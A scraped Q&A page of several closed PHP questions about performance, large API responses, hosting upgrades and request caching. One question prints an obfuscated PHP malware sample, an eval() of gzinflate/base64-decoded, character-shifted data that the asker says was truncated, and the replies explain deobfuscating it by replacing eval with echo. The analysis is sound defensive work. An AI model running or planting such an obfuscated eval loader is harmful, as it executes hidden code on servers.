Is this the quickest way to execute this in PHP? [closed] - php

Closed. This question needs details or clarity. It is not currently accepting answers.
Want to improve this question? Add details and clarify the problem by editing this post.
Closed 8 years ago.
Improve this question
When a visitor goes to a index.php file the following code is run. There will be only one match in the DB and then it gets it's role to include the correct page.
However, if nothing found it shows them a 404 page. I tested it and running, and I had in mind performance. In my opinion is better to have this instead of if mysql_num_rows > 0 and if { } else {}
You, with more experience than me, how do you find it ?

I gather the code above is already functioning as intended?
Contacting the database to get the user's role will take significantly longer than almost any PHP code you might write to analyze the result that you get back, so I wouldn't worry so much about the efficiency of the rest of your PHP here.
Only when you're doing a long-running calculation or writing a loop that runs many, many times should you worry about efficiency more than clarity.
If this code is run 50,000+ times a second, then maybe you're right to ask about efficiency, but if it's a few hundred thousand times a day or less, your server will never feel the difference, and your time as a coder is much more valuable than to be used thinking about this kind of optimization.

Related

How to deal with large dataset from API? [closed]

Closed. This question needs to be more focused. It is not currently accepting answers.
Want to improve this question? Update the question so it focuses on one problem only by editing this post.
Closed 8 days ago.
Improve this question
Before going ahead with the problem just wanted to mention that as per standard given here https://stackoverflow.com/help/on-topic, this question comes under 4th category "a practical, answerable problem that is unique to software development". So I am requesting all please do not take this for solving something because this is design oriented question.
An API(3rd party) is returning 100 MB-500 MB data in JSON, but when I am trying to save that in some file or DB operation, usually it is getting timeout.
I know every time I can increase execution time or max timeout then it will fix my need.
But my main problem is to understand what is the perfect way to handle that much dataset, I just wanted to understand what should be good/perfect design/algorithm to work on that larger dataset?
Also I wanted to understand "Is it good way to design an API which is returning that much dataset like in GB"?
My main motto is to get feedback from some of good computer designer/scientists.
Also please help me to understand if there is other way to get all the data without increasing timeout, because Postman shows much-much bigger data returning from any API, so how does it works without increasing execution time, actually it loads some data and then it loads again other pending data as a lazy loader concept.
Thanks in advance.

How to deobfuscate this potential PHP malware found on a client system? [closed]

Closed. This question needs to be more focused. It is not currently accepting answers.
Want to improve this question? Update the question so it focuses on one problem only by editing this post.
Closed 3 years ago.
Improve this question
I'm trying to de-obfuscate this script found on a client system with no luck so far.
<?php function LwAC($SvniN)
{
$SvniN=gzinflate(base64_decode($SvniN));
for($i=0;$i<strlen($SvniN);$i++)
{
$SvniN[$i] = chr(ord($SvniN[$i])-1);
}
return $SvniN;
}eval(LwAC("NL3XrutckqX7AAXUOyQadZEFokHv0KcuRFISRS+SotFBo0Ereu8b/ewnVtepvMhEZu5/7SXDOSNGjPHFP/7x96987ZKl7Lt/TJ9g/fzz3zxRfMj//q//8r//8a//8p//5T9+V9nlTbRk/4yjOWOo/5VmSZ9m//Vn//1//Ou//CPvp3/+W/kf2P/4t/L/mZepybr/+r/hf0EQ+IH/+N//9QP/338r/+c//uMfSTH9s5/S///P/f2P//7f8f/7w/4P/OkpW9ap+8d//gp/f8P/ybao+ed//pb/jbVwskGsZ10mOspw/JflJTfCCb8ZXr/yIfxkjbz17+It/MTCDBLTnXayuGWdQlpor9RekOIj40+rH+VWgrKzNk675Nj192nfY/QlCIrlsrmVo/xGWShjoR8BRRcU4bVhRcuAaLt4oJGsG3g0u2kCQWdHtO3dRHeTton5MTpat/c5msWKhKndxa7dIOOMsvtVuzvTy75zkWaMJErk3+WcuHGk9RxDX+JPf2UVXZzBUSSPXFZ5bew0JU+SOktF1d2a9czZqx6Iz+7lmzu5N1R+1YtFsDFNI0gYFII1BgFLZ+K25+xsoZmoPtXtmffjqHKrkK5YlTxz84dkKKq9WzRrR3YY2WhiWY7+OJMwkgjBrvxQ4Cj2TbftuM2a323oRsQpclb0klrwT7ouhhQ1mwsY//ff7x+BonLjgaYRJe0pfBzPpkcdLyCPh80zMcoifdaF95GRaRbhUH4v6KSIXiYRhHHbsN+rXZmp5SVUlmwDzy9HkAMvvdff/B2kH1o/kehjrCOaWbF2qd1EVtFb2+fs66Cvjd+1ZSU4ZPQSCjtR4SFXvGt7CPN9lZlInF8DQVH61dmpwvPO80hU7Y4ggePh5BtdNIyOyLeDRhNT7lWSKXXkPZOUM0jx9q7Yi1XxqjD6J/IlSfgxKrOneYyd7kGvi0cjG8umKGcxxiJNjGKZx+SRTZpr5HTBH49z9O8/vg9CyawztvoAV8k1tZ7O0XbR96LHE91ygorwn52StKO98l9NY7zFU2vzy8cpZZF2vlftkrmkfAW7s4prjfMckiy21XYab2GJhGZci7oIx0cVj+xr20h4iYV8tjwD4yCo60u6cVwhsfvIO46p0Y/WkjGPwj9Gfhqe893FniWX+nonTn7QjRqZCb4+Qsrz/GhZFEIt99Jy2BxFV/KT0gdKHg29GFmebyJDdA2G"));?>
Please note that I have to remove plenty of the codes before this "));?>
A very big thank you to everyone who took their time to go through this question and put in advice/direction in attempt to deobfuscate this PHP code. Special thanks to #Hasta Dhana.
Now, taking into consideration the recommendation of #digijay to do this on a virtual machine where it can simply be deleted if anything goes wrong, the use of an online php compiler as recommended and used by #Hasta Dhana was an awesome choice. All I had to do was to paste in the whole code, change the eval to echo and run it. That, successfully had the work done and pretty fast except that the output was however obfuscated in the exact same way. This time the solution is as simple as deobfuscate the output repeating the same actions that get us here. Which is to copy the whole of the output and change the eval in it to echo then run it and hurray there we have the script deobfuscated.

Does the position of code in a file affect its performance? [closed]

Closed. This question needs to be more focused. It is not currently accepting answers.
Want to improve this question? Update the question so it focuses on one problem only by editing this post.
Closed 9 years ago.
Improve this question
I googled and didnt find any explanation. By "position of code" I mean, for example you have to fetch users very frequently and the portion of code that does that comes after 2000 lines in script file
.
. //2000 lines of code above
.
.
//code portion for user fetch
.
.
.
.
Will it affect the speed or performance in any way?
My code is like
if(isset($_POST['id']))
{ //code }
if(isset($_POST['name']))
{ //code }
.
.
.
For PHP, the answer is probably no. Or rather, you won't see any difference.
Because the whole source file is parsed beforehand and "compiled" to internal representation. Once parsed, there will be no access made to the source file, and therefore no disk slowness involved.
If we dig a little deeper, we can probably assume that functions that are too big require more processor time to be executed, as memory, paging and caching has its surprises. Alas, unless knowing the internals of PHP and your hardware, probably no one can give you a precise answer to this.
You can probably safely assume that it doesn't make a difference. But please, please, do not use this as an argument to write lengthy code...
If you are talking about execution order, then the fetch is occurring last, so naturally that statement needs to wait.
However for page execution it doesn't really make any difference. Its like waiting for 2 people to finish a race, one is fit, the other is not. It doesn't matter who breaks the line first, the unfit racer will determine the overall duration of the sprint.

Lose of data updating PHP and MySQL? [closed]

Closed. This question is off-topic. It is not currently accepting answers.
Want to improve this question? Update the question so it's on-topic for Stack Overflow.
Closed 9 years ago.
Improve this question
I have asked one of my hostings to update the version of PHP and MySQL and they have replied telling me to be sure I have a backup of my databases as well as of the content of the page because during the update some data can be lost.
Is this just a way to cover their back in case of any incompetent doing bad their job? Or can it really result in a potential lose of data for some reason?
I am not really on the mod of downloading all the site, which is quite big and with thousands of images, and I was wondering which are the probabilities of suffering lose of data in this operation.
Thanks.
This is a normal procedure of any hosting company to inform their clients to perfom a backup before they touch the server. I think its more to do with technology. Things can go wrong regardless of how well the person is trained. I advice you in addition to making this backup, to have a regular backup schedule for your website in case things go wrong in the future.
This is not a question that anybody can really answer here.
Normally updating the versions of php and MySQL shouldn't cause any problems but like with everything in life - it can go wrong... J
So you can never be mistaken to have a recent backup at hand.

Mysql security queries php [closed]

Closed. This question is opinion-based. It is not currently accepting answers.
Want to improve this question? Update the question so it can be answered with facts and citations by editing this post.
Closed 8 years ago.
Improve this question
I'm sorry for the title it might not make good sense to the content.
I've created a code where a query loads to db and selects some rows, then it makes a loop and puts it in an array.
SELECT----
for($i=0;$i<$count;$i++){
$info[] = mysql_fetch_assoc($result);
So this query is really easy and fast.
Now these queries is being done when a visitor enters a certain site in the web.
It all works great, but I never want to trust my visitors.
What if they updated the page several times (with multiple browsers,bots and so on)
Then my queries per second will increase very much. This might lead to a crash! Or can it?
So what I wonder is, how can I get the content, but still not letting the user update the page to many times a second. Cookies check last db connect? Got any ideas for me ? Any advices?
It normally works this way:
define('THIRTY_SECONDS', 30);
if (current_request_cache_time_in_seconds() < THIRTY_SECONDS) {
get_request_response_from_cache();
} else {
get_request_response_from_php_code();
save_request_response_to_cache();
}
As you can see, this is a high-level function meaning that the actual code being executed is controlled on. In this example, the code for a specific page will only be executed once per 30 seconds (unless a race-condition appears).

Categories